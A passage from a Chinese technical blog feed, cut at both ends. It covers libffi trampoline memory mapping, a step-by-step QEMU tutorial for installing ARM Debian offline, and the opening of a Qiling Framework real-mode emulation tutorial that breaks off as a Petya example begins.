class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>libffi</code> 读取了所有它自己的内存映射，定位了 text内存并且计算了 <code>trampoline</code> 表的偏移。注意<code>tramp_globals.text</code> 等于<code>&amp;trampoline_code_table</code>。 然后，<code>libffi</code> 通过<code>mmap</code> 来映射 <code>trampoline</code> 表。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="type">int</span></span><br><span class="line"><span class="title function_">tramp_table_map</span> <span class="params">(<span class="keyword">struct</span> tramp_table *table)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> *addr;</span><br><span class="line"></span><br><span class="line">  <span class="comment">/*</span></span><br><span class="line"><span class="comment">   * Create an anonymous mapping twice the map size. The top half will be used</span></span><br><span class="line"><span class="comment">   * for the code table. The bottom half will be used for the parameter table.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  addr = mmap (<span class="literal">NULL</span>, tramp_globals.map_size * <span class="number">2</span>, PROT_READ | PROT_WRITE,</span><br><span class="line">    MAP_PRIVATE | MAP_ANONYMOUS, <span class="number">-1</span>, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (addr == MAP_FAILED)</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">  <span class="comment">/*</span></span><br><span class="line"><span class="comment">   * Replace the top half of the anonymous mapping with the code table mapping.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  table-&gt;code_table = mmap (addr, tramp_globals.map_size, PROT_READ | PROT_EXEC,</span><br><span class="line">    MAP_PRIVATE | MAP_FIXED, tramp_globals.fd, tramp_globals.offset);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (table-&gt;code_table == MAP_FAILED)</span><br><span class="line">    &#123;</span><br><span class="line">      (<span class="type">void</span>) munmap (addr, tramp_globals.map_size * <span class="number">2</span>);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  table-&gt;parm_table = table-&gt;code_table + tramp_globals.map_size;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>注意 <code>trampoline</code> 的代码在上述汇编代码里通过<code>.rept</code> 重复了多次来填满 4k 的内存。</p><h3 id="总结">总结</h3><p>用一张图总结 <code>libffi</code> 怎么把闭包变成函数指针。</p><img src="/2021/07/30/%E6%8A%8A%E9%97%AD%E5%8C%85%E5%8F%98%E6%88%90%E5%87%BD%E6%95%B0%E6%8C%87%E9%92%88%E2%80%94%E2%80%94libffi-%E9%97%AD%E5%8C%85%E5%8E%9F%E7%90%86%E8%A7%A3%E6%9E%90/fig.png" class="" title="trampoline"><p>更新（2021.08.01）：这里 <code>trampoline</code>机制实际上避免了分配可写+可执行权限的内存因为上述<code>tramp-&gt;code</code> 的内容是在编译期生成的。</p><h2 id="我的实现">我的实现</h2><p>为了检查我的理解是否正确，我也写了一个 demo。链接在<ahref="https://github.com/wtdcode/closure2fp">这里</a>。</p><p>其中核心库不足100行，相比 <code>libffi</code>来说应该很好理解。如果觉得有用的话可以给个 star。</p>]]></content:encoded>
      
      
      <category domain="http://blog.ihomura.cn/categories/%E7%BC%96%E7%A8%8B/">编程</category>
      
      
      <category domain="http://blog.ihomura.cn/tags/C/">C++</category>
      
      <category domain="http://blog.ihomura.cn/tags/C/">C</category>
      
      <category domain="http://blog.ihomura.cn/tags/C-C/">C/C++</category>
      
      <category domain="http://blog.ihomura.cn/tags/libffi/">libffi</category>
      
      <category domain="http://blog.ihomura.cn/tags/%E9%97%AD%E5%8C%85/">闭包</category>
      
      <category domain="http://blog.ihomura.cn/tags/%E5%87%BD%E6%95%B0%E6%8C%87%E9%92%88/">函数指针</category>
      
      
      <comments>http://blog.ihomura.cn/2021/07/30/%E6%8A%8A%E9%97%AD%E5%8C%85%E5%8F%98%E6%88%90%E5%87%BD%E6%95%B0%E6%8C%87%E9%92%88%E2%80%94%E2%80%94libffi-%E9%97%AD%E5%8C%85%E5%8E%9F%E7%90%86%E8%A7%A3%E6%9E%90/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>在 QEMU 上跑 arm/mips 架构的 Debian</title>
      <link>http://blog.ihomura.cn/2020/11/12/%E5%9C%A8qemu-system%E4%B8%8A%E8%B7%91arm-Debian/</link>
      <guid>http://blog.ihomura.cn/2020/11/12/%E5%9C%A8qemu-system%E4%B8%8A%E8%B7%91arm-Debian/</guid>
      <pubDate>Thu, 12 Nov 2020 11:34:04 GMT</pubDate>
      
      <description>&lt;h2 id=&quot;前言&quot;&gt;前言&lt;/h2&gt;
&lt;p&gt;对于分析 IOT 的安全工程师来说，模拟调试一个非本机架构的 binary/rootfs
是很常见的需求，今天介绍一种我本人觉得虽然稍微有点扭曲但是效果最好的办法：用
qemu-system 模拟运行异构的 Debian，并且相比常见的 network install
的方法有很大的改进。&lt;/p&gt;
&lt;p&gt;本文主要介绍用 qemu-system-arm 来安装运行 arm Debian，对于 mips
Debian 步骤基本是一样的。&lt;/p&gt;
&lt;p&gt;For English version of this post, see &lt;a
href=&quot;https://blog.lazym.io/2021/04/16/Run-ARM-MIPS-Debian-on-QEMU/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;</description>
      
      
      
      <content:encoded><![CDATA[<h2 id="前言">前言</h2><p>对于分析 IOT 的安全工程师来说，模拟调试一个非本机架构的 binary/rootfs是很常见的需求，今天介绍一种我本人觉得虽然稍微有点扭曲但是效果最好的办法：用qemu-system 模拟运行异构的 Debian，并且相比常见的 network install的方法有很大的改进。</p><p>本文主要介绍用 qemu-system-arm 来安装运行 arm Debian，对于 mipsDebian 步骤基本是一样的。</p><p>For English version of this post, see <ahref="https://blog.lazym.io/2021/04/16/Run-ARM-MIPS-Debian-on-QEMU/">here</a>.</p><span id="more"></span><h2 id="原理">原理</h2><p>以前的安装方法主要是通过 netboot 的 kernel 和 initrd 启动installer，然后再通过 network install 安装系统，最后把新的 kernel 和initrd 抽出来跑。总体上是可行的，但是问题是 QEMU本身模拟异构的系统的时候性能就慢一些，再加上模拟网卡的性能较差，基本上没个几个小时是不可能装完的。考虑到这一点，一个更好的办法应该是把offline installer跑起来，但是目前还没有见到有类似的文章，经过简单的改进和一些探索，我成功的实现了offline install，把安装时间基本缩短到 30 分钟左右。</p><h2 id="准备">准备</h2><h3 id="环境准备">环境准备</h3><p>我用的是 KUbuntu 20.04，理论上直接安装 qemu 即可。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">apt install qemu-system qemu-utils bridge-utils libguestfs-tools</span><br></pre></td></tr></table></figure><p>此外只需要下载 Debian 的 DVD 即可，以我用的 iso 为例。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget -c <span class="string">&quot;https://mirrors.ustc.edu.cn/debian-cd/10.6.0/armhf/iso-dvd/debian-10.6.0-armhf-DVD-1.iso&quot;</span></span><br></pre></td></tr></table></figure><h3 id="制作系统盘">制作系统盘</h3><p>制作一个空白的系统盘镜像。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">qemu-img create -f qcow2 debian.qcow2 8G</span><br></pre></td></tr></table></figure><h2 id="安装">安装</h2><h3 id="抽取-kernel-和-initrd">抽取 kernel 和 initrd</h3><p>qemu-system 跑 Linux 需要 kernel 和 initrd，这部分其实就是 grub的工作，因此如果想把 installer 跑起来，我们直接看看 installer 的 grub怎么写的。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> mnt</span><br><span class="line"><span class="built_in">sudo</span> mount -o loop debian-10.6.0-armhf-DVD-1.iso ./mnt</span><br><span class="line"><span class="built_in">cat</span> mnt/boot/grub/grub.cfg</span><br></pre></td></tr></table></figure><p>可以看到正常启动 installer 的选项。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">menuentry <span class="string">&#x27;Install&#x27;</span> &#123;</span><br><span class="line">    <span class="built_in">set</span> background_color=black</span><br><span class="line">    linux    /install.ahf/vmlinuz  --- quiet</span><br><span class="line">    initrd   /install.ahf/initrd.gz</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>于是从上述位置取出 vmlinuz 和 initrd。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cp</span> mnt/install.ahf/vmlinuz ./</span><br><span class="line"><span class="built_in">cp</span> mnt/install.ahf/initrd.gz ./</span><br></pre></td></tr></table></figure><p>到这里准备工作就完成了。</p><h3 id="光盘挂载">光盘挂载</h3><p>如果熟悉 Debian Installer 的工作方式的话我们知道 installer干的事情就是把 <code>/cdrom</code> 当做 apt 源然后<code>apt install</code>整个系统而已，因此接下来理论上我们只要把光盘交给 QEMU 然后带着 kernel 和initrd 跑起来就行了，但是有一个坑点是 qemu-system-arm 的<code>-cdrom</code>选项是不工作的，我不太清楚原因，可能也是驱动的问题。但是这里可以通过另一种方法绕过这个坑点：把cd 作为硬盘接入 QEMU，然后挂载到 <code>/cdrom</code>，实际上用 U盘安装的时候 installer会自动帮你做这件事，只不过我们等会儿需要手动做一下。</p><h3 id="网络驱动">网络驱动</h3><p>另外一个坑点是 qemu-system-arm 并不支持 PCI网卡，从一些说法中我看到似乎是 arm Debian 不支持，总之如果要给 armDebian 分配网卡的话需要用 <code>-netdev</code> 和 <code>-device</code>来指定 <code>virtio-blk-device</code>，但是注意 <code>-nic</code> 的<code>model</code> 选项不能指定。</p><p>此外如果要以 tap模式分配主机网卡，还需要手动操作一下，以我的机器为例。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">brctl addbr br0</span><br><span class="line">brctl addif br0 ens33 <span class="comment"># ens33 是物理网卡对应的接口</span></span><br><span class="line">brctl addif br0 vmnic0</span><br><span class="line">ip tuntap add dev vmnic0 mode tap</span><br><span class="line">ip <span class="built_in">link</span> <span class="built_in">set</span> vmnic0 up</span><br><span class="line">ip <span class="built_in">link</span> <span class="built_in">set</span> br0 up</span><br><span class="line">ip addr add dev br0 192.168.4.158/24 <span class="comment"># 和 ens33 同一网段</span></span><br><span class="line">systemd-resolve --interface=br0 --set-dns=192.168.4.1 <span class="comment"># 添加 DNS</span></span><br><span class="line">ip ro del default</span><br><span class="line">ip ro add default via 192.168.4.1 dev br0</span><br><span class="line"><span class="built_in">echo</span> 1 &gt; /proc/sys/net/ipv4/ip_forward</span><br></pre></td></tr></table></figure><h3 id="安装系统">安装系统</h3><p>最后完整的 qemu-system 命令如下，注意如果用了 tap 网卡需要以 root身份执行。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> qemu-system-arm -machine virt -cpu cortex-a15 -smp cpus=4,maxcpus=4 -nographic \</span><br><span class="line">        -kernel ./vmlinuz -initrd ./initrd.gz -m 1024 \</span><br><span class="line">        -netdev user,<span class="built_in">id</span>=n0 -device virtio-net-device,netdev=n0 \</span><br><span class="line">        -drive file=debian.qcow2,<span class="keyword">if</span>=none,format=qcow2,<span class="built_in">id</span>=hd0 -device virtio-blk-device,drive=hd0 \</span><br><span class="line">        -drive file=debian-10.6.0-armhf-DVD-1.iso,<span class="keyword">if</span>=none,format=raw,<span class="built_in">id</span>=hd1 -device virtio-blk-device,drive=hd1</span><br></pre></td></tr></table></figure><p>这里注意我们把 <code>debian-10.6.0-armhf-DVD-1.iso</code> 是作为 hdd挂载的，因此首先就会遇到找不到 cdrom 的报错。</p><img src="/2020/11/12/%E5%9C%A8qemu-system%E4%B8%8A%E8%B7%91arm-Debian/cdrom.jpg" class=""><p>这里连续选择 <code>No</code>，然后会回到主菜单。</p><img src="/2020/11/12/%E5%9C%A8qemu-system%E4%B8%8A%E8%B7%91arm-Debian/menu.jpg" class=""><p>这里选择 <code>Execute a shell</code> 就可以进入 busybox了。当然本来是可以用 <code>Alt + F2</code> 来切换 Shell 的，但是在<code>nographics</code> 下我试了下没法发送 <code>Alt</code>所以只能这样了。</p><p>然后直接利用 <code>dmesg</code> 查看硬盘挂载的情况，以我的为例。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">[    9.713510] virtio_blk virtio0: [vda] 9117960 512-byte logical blocks (4.67 GB/4.35 GiB)</span><br><span class="line">[    9.741109]  vda: vda1 vda2</span><br><span class="line">[    9.755204] virtio_blk virtio1: [vdb] 16777216 512-byte logical blocks (8.59 GB/8.00 GiB)</span><br><span class="line">[    9.764864]  vdb: vdb1 vdb2 vdb3 &lt; vdb5 &gt;</span><br></pre></td></tr></table></figure><p>这里显然可以看出来 <code>/dev/vda</code> 就是 iso 了，因此<code>/dev/vda1</code> 就是安装分区，我们只要把它挂载到<code>/cdrom</code> 就行了。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">modprobe isofs</span><br><span class="line">mount /dev/vda1 /cdrom</span><br></pre></td></tr></table></figure><p>接下来返回主菜单选择 <code>Detect and mount CD-ROM</code>即可继续安装，剩下流程和正常 Debian 的安装基本完全一致。</p><p>但是最后安装 Grub 的时候会提示错误导致无法安装 grub。</p><img src="/2020/11/12/%E5%9C%A8qemu-system%E4%B8%8A%E8%B7%91arm-Debian/grub.jpg" class=""><p>不过这也无所谓，因为 grub 的工作会由 qemu-system 来完成。</p><h2 id="启动">启动</h2><h3 id="抽取新-kernel-initrd">抽取新 kernel, initrd</h3><p>接下来我们要启动 Debian 了，因此之前的 kernel 和 initrd已经不能使用了，所以我们需要从既有的磁盘镜像里抽取。</p><p>这里用到的工具是 <code>virt-ls</code> 和<code>virt-copy-out</code>，注意需要 root 权限。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> virt-ls -l debian.qcow2 /boot</span><br></pre></td></tr></table></figure><p>可以看到 vmlinuz 和 initrd 的符号链接。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">drwxr-xr-x  3 0 0     1024 Nov 12 11:55 .</span><br><span class="line">drwxr-xr-x 18 0 0     4096 Nov 12 11:19 ..</span><br><span class="line">-rw-r--r--  1 0 0  3212152 Sep 17 21:42 System.map-4.19.0-11-armmp-lpae</span><br><span class="line">-rw-r--r--  1 0 0  3212349 Oct 18 08:43 System.map-4.19.0-12-armmp-lpae</span><br><span class="line">-rw-r--r--  1 0 0   210638 Sep 17 21:42 config-4.19.0-11-armmp-lpae</span><br><span class="line">-rw-r--r--  1 0 0   210638 Oct 18 08:43 config-4.19.0-12-armmp-lpae</span><br><span class="line">lrwxrwxrwx  1 0 0       31 Nov 12 11:51 initrd.img -&gt; initrd.img-4.19.0-12-armmp-lpae</span><br><span class="line">-rw-r--r--  1 0 0 20587326 Nov 12 11:33 initrd.img-4.19.0-11-armmp-lpae</span><br><span class="line">-rw-r--r--  1 0 0 20590187 Nov 12 11:55 initrd.img-4.19.0-12-armmp-lpae</span><br><span class="line">lrwxrwxrwx  1 0 0       31 Nov 12 11:24 initrd.img.old -&gt; initrd.img-4.19.0-11-armmp-lpae</span><br><span class="line">drwx------  2 0 0    12288 Nov 12 11:02 lost+found</span><br><span class="line">lrwxrwxrwx  1 0 0       28 Nov 12 11:51 vmlinuz -&gt; vmlinuz-4.19.0-12-armmp-lpae</span><br><span class="line">-rw-r--r--  1 0 0  4403712 Sep 17 21:42 vmlinuz-4.19.0-11-armmp-lpae</span><br><span class="line">-rw-r--r--  1 0 0  4403712 Oct 18 08:43 vmlinuz-4.19.0-12-armmp-lpae</span><br><span class="line">lrwxrwxrwx  1 0 0       28 Nov 12 11:24 vmlinuz.old -&gt; vmlinuz-4.19.0-11-armmp-lpae</span><br></pre></td></tr></table></figure><p>然后把 vmlinuz 和 initrd 拷贝出来。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> virt-copy-out -a debian.qcow2 /boot/initrd.img-4.19.0-12-armmp-lpae ./</span><br><span class="line"><span class="built_in">sudo</span> virt-copy-out -a debian.qcow2 /boot/vmlinuz-4.19.0-12-armmp-lpae ./</span><br></pre></td></tr></table></figure><h3 id="启动-1">启动</h3><p>最后就是用新的 kernel 和 initrd 启动系统了。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> qemu-system-arm -machine virt -cpu cortex-a15 -smp cpus=4,maxcpus=4 -nographic --append <span class="string">&quot;root=/dev/vda2&quot;</span> \</span><br><span class="line">        -kernel ./vmlinuz-4.19.0-12-armmp-lpae -initrd ./initrd.img-4.19.0-12-armmp-lpae -m 1024 \</span><br><span class="line">        -netdev tap,ifname=vmnic1,<span class="built_in">id</span>=n0,script=no,downscript=no -device virtio-net-device,netdev=n0 \</span><br><span class="line">        -drive file=debian.qcow2,<span class="keyword">if</span>=none,format=qcow2,<span class="built_in">id</span>=hd0 -device virtio-blk-device,drive=hd0</span><br></pre></td></tr></table></figure><p>到这里就完美搞定了。</p><img src="/2020/11/12/%E5%9C%A8qemu-system%E4%B8%8A%E8%B7%91arm-Debian/debian.jpg" class=""><h2 id="总结">总结</h2><p>当然除了 qemu-system 的方法以外还可以选择 qemu-usermode，但是qemu-usermode 有很多问题，比如不支持多线程调试，相对来说 qemu-system要灵活的多，可以自定义硬件，甚至可以直接在模拟的 Debian中调试。另外利用本文中的安装方法，在断网的情况下基本 30-60 min就可以安装完毕，比以往的 network install 快很多。</p><p>一些小细节：</p><ul><li>对于链接的 libc 不是 glibc 的程序，最新的 openwrt 19 使用的musl，旧一点的 openwrt 15 用的 uclibc，基本够用。</li><li>arm64 的 Debian/Ubuntu 不能直接运行部分 arm binary。</li><li>实机也是一个选择，比如树莓派是arm架构，很多路由器是mips架构。</li></ul><h2 id="参考">参考</h2><p>本文参考了非常多的文章，这里列出几篇主要的。</p><ul><li><ahref="https://github.com/xwings/emunotes/blob/master/%E6%9E%84%E5%BB%BA%E5%B5%8C%E5%85%A5%E5%BC%8Fqemu.md">构建嵌入式qemu.md</a></li><li><ahref="http://wen00072.github.io/blog/2015/02/07/by-qemu-arm-installation-of-debian-systems/">在X86Linux下透過Qemu安裝ARM的Debian系統</a></li><li><ahref="https://translatedcode.wordpress.com/2016/11/03/installing-debian-on-qemus-32-bit-arm-virt-board/">InstallingDebian on QEMU’s 32-bit ARM “virt” board</a></li></ul>]]></content:encoded>
      
      
      <category domain="http://blog.ihomura.cn/categories/%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/">环境搭建</category>
      
      
      <category domain="http://blog.ihomura.cn/tags/%E9%80%86%E5%90%91/">逆向</category>
      
      <category domain="http://blog.ihomura.cn/tags/iot/">iot</category>
      
      <category domain="http://blog.ihomura.cn/tags/%E6%A8%A1%E6%8B%9F/">模拟</category>
      
      <category domain="http://blog.ihomura.cn/tags/%E8%99%9A%E6%8B%9F/">虚拟</category>
      
      <category domain="http://blog.ihomura.cn/tags/qemu/">qemu</category>
      
      <category domain="http://blog.ihomura.cn/tags/qemu-system/">qemu system</category>
      
      <category domain="http://blog.ihomura.cn/tags/qemu-system/">qemu-system</category>
      
      <category domain="http://blog.ihomura.cn/tags/arm/">arm</category>
      
      <category domain="http://blog.ihomura.cn/tags/mips/">mips</category>
      
      <category domain="http://blog.ihomura.cn/tags/debian/">debian</category>
      
      <category domain="http://blog.ihomura.cn/tags/emulation/">emulation</category>
      
      
      <comments>http://blog.ihomura.cn/2020/11/12/%E5%9C%A8qemu-system%E4%B8%8A%E8%B7%91arm-Debian/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>用麒麟框架深入分析实模式二进制文件</title>
      <link>http://blog.ihomura.cn/2020/09/06/%E7%94%A8%E9%BA%92%E9%BA%9F%E6%A1%86%E6%9E%B6%E6%B7%B1%E5%85%A5%E5%88%86%E6%9E%90%E5%AE%9E%E6%A8%A1%E5%BC%8F%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%96%87%E4%BB%B6/</link>
      <guid>http://blog.ihomura.cn/2020/09/06/%E7%94%A8%E9%BA%92%E9%BA%9F%E6%A1%86%E6%9E%B6%E6%B7%B1%E5%85%A5%E5%88%86%E6%9E%90%E5%AE%9E%E6%A8%A1%E5%BC%8F%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%96%87%E4%BB%B6/</guid>
      <pubDate>Sat, 05 Sep 2020 17:26:28 GMT</pubDate>
      
      <description>&lt;h2 id=&quot;前言&quot;&gt;前言&lt;/h2&gt;
&lt;p&gt;分析一个实模式二进制文件，比如 DOS 可执行文件或者 MBR
代码从来不是一个简单的任务。目前最好的办法是先用 Bochs, QEMU 或者 Dosbox
模拟运行，然后再使用 gdb, debug.exe 或者 IDA
Pro来远程调试。但是这都是在没有&lt;a
href=&quot;https://github.com/qilingframework/qiling&quot;&gt;麒麟框架&lt;/a&gt;(Qiling
Framework)的情况下。现在我们想骄傲的宣布，麒麟框架正式支持 16bit
二进制的模拟运行，并且与之伴随的还有麒麟框架多维度分析二进制文件的能力。&lt;/p&gt;
&lt;p&gt;本文在介绍实模式模拟实现细节的同时也会作为一篇教程来介绍麒麟框架的使用。&lt;/p&gt;
&lt;p&gt;For English version, see &lt;a
href=&quot;https://blog.lazym.io/2020/09/05/Dive-deeper-Analyze-real-mode-binaries-like-a-Pro-with-Qiling-Framework/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;</description>
      
      
      
      <content:encoded><![CDATA[<h2 id="前言">前言</h2><p>分析一个实模式二进制文件，比如 DOS 可执行文件或者 MBR代码从来不是一个简单的任务。目前最好的办法是先用 Bochs, QEMU 或者 Dosbox模拟运行，然后再使用 gdb, debug.exe 或者 IDAPro来远程调试。但是这都是在没有<ahref="https://github.com/qilingframework/qiling">麒麟框架</a>(QilingFramework)的情况下。现在我们想骄傲的宣布，麒麟框架正式支持 16bit二进制的模拟运行，并且与之伴随的还有麒麟框架多维度分析二进制文件的能力。</p><p>本文在介绍实模式模拟实现细节的同时也会作为一篇教程来介绍麒麟框架的使用。</p><p>For English version, see <ahref="https://blog.lazym.io/2020/09/05/Dive-deeper-Analyze-real-mode-binaries-like-a-Pro-with-Qiling-Framework/">here</a>.</p><span id="more"></span><h2 id="unicorn">Unicorn</h2><p>麒麟框架基于 Unicorn 引擎，所以在介绍麒麟之前，我想先介绍一下 Unicorn引擎。Unicorn 是一个以 QEMU 部分代码为基础实现的一个纯粹的 CPU模拟器。与 QEMU 相比，Unicorn 有很多亮眼的特点：</p><ul><li>平台独立。</li><li>易于使用和理解的 API。</li><li>动态 hook。</li><li>编译更快。:D</li></ul><p>但是正如之前所说，Unicorn是一个<strong>纯粹</strong>的CPU模拟器，它不知道自己上层运行的操作系统是什么，所以这里就有了麒麟框架。</p><h2 id="麒麟">麒麟</h2><blockquote><p>有时候，我自己都不知道怎么解释麒麟到底是什么。 ---- LauKaijern，麒麟的作者</p></blockquote><p>确实，很难用一句话来定义麒麟。为了更全面的描述麒麟，我想从麒麟四个核心功能来说明：模拟、分析、调试、扩展。</p><h3 id="模拟">模拟</h3><p>麒麟最基础的功能就是模拟，但是和 Unicorn的模拟有所不同。刚才提到过，Unicorn 是一个 CPU模拟器，而麒麟实际上是一个操作系统模拟器。下面是一个简单的图来说明一个原生应用和一个模拟应用的联系。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">|-------|           |---------|</span><br><span class="line">|Program| &lt;-------&gt; | Binary  |</span><br><span class="line">|  OS   | &lt;-------&gt; | Qiling  |</span><br><span class="line">|  CPU  | &lt;-------&gt; | Unicorn |</span><br><span class="line">|-------|           |---------|</span><br><span class="line"></span><br><span class="line">原生应用              模拟应用</span><br></pre></td></tr></table></figure><p>通常来说，原生应用在一个特定的操作系统环境上运行，这个操作系统会提供各种各样的API，而操作系统运行在一个 CPU之上。对于一个用麒麟模拟的应用，架构是非常相似的：Unicorn 扮演了 CPU模拟器的角色，麒麟来完成操作系统的任务执行目标二进制文件。为了实现这些，麒麟分为了三层。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">|--------|  ---</span><br><span class="line">|   os   |   |</span><br><span class="line">| loader | Qiling</span><br><span class="line">|  arch  |   |</span><br><span class="line">|--------|  ---</span><br></pre></td></tr></table></figure><ul><li><code>arch</code> 层进行一些和 CPU架构相关的设置，比如大小端，寄存器等等。</li><li><code>loader</code>层像真正的系统二进制加载器一样，解析目标二进制文件，设置内存布局，把代码和数据加载到内存里。</li><li><code>os</code> 层是最重要的部分，提供了系统调用的实现。</li></ul><h4 id="hi.com-例子"><code>HI.COM</code> 例子</h4><p>接下来用 DOS 和 <ahref="https://github.com/qilingframework/qiling/blob/bc3de75033cf01652e50d1970d32f10048ea4ed6/examples/rootfs/8086_dos/HI.COM">HI.COM</a>作为例子来讲解这三层是如何相互配合来模拟操作系统的。</p><p>对于 <code>arch</code> 层，我们可以假设 CPU 是<code>8086</code>，它设置起来比较简单，只需要设置好寄存器即可。</p><p>COM 文件就只是一个内存镜像，没有任何文件头。因此 <code>loader</code>层的实现极其简单：分配足够的内存，把整个文件写入到内存，设置好 PC和栈即可。</p><p>对于 <code>os</code> 层，麒麟要做的事情就是尽可能多的实现中断。下面是<code>HI.COM</code> 的源代码：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">mov ah,9</span><br><span class="line">mov dx, 10d</span><br><span class="line">int 21</span><br><span class="line">mov ax, 4c00</span><br><span class="line">int 21</span><br><span class="line">nop</span><br><span class="line">db &quot;Hello world!$&quot;</span><br></pre></td></tr></table></figure><p>当 Unicorn 执行到 <code>INT 21</code>的时候，它并不知道这个中断的具体含义，因此它会调用我们在 <code>os</code>层中定义的 hook 函数，下面就是 <code>os</code> 层相应的实现：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">int21</span>(<span class="params">self</span>): <span class="comment"># Handler for INT 21</span></span><br><span class="line">    ah = <span class="variable language_">self</span>.ql.reg.ah</span><br><span class="line">    <span class="keyword">if</span> ah == <span class="number">0x4C</span>:</span><br><span class="line">        <span class="variable language_">self</span>.ql.uc.emu_stop() <span class="comment"># Stop emulation</span></span><br><span class="line">    <span class="comment"># other interrupts...</span></span><br><span class="line">    <span class="keyword">elif</span> ah == <span class="number">0x9</span>:</span><br><span class="line">        s = <span class="variable language_">self</span>.read_dos_string_from_ds_dx() <span class="comment"># Read string</span></span><br><span class="line">        <span class="variable language_">self</span>.ql.nprint(s) <span class="comment"># Print the string to console</span></span><br><span class="line">    <span class="comment"># other interrupts...</span></span><br></pre></td></tr></table></figure><p>这就是麒麟为了模拟 COM执行文件所有的工作。其实还是蛮简单的，不是吗？</p><h4 id="petya-例子">Petya 例子</h4><p>实际上，为了模拟一个 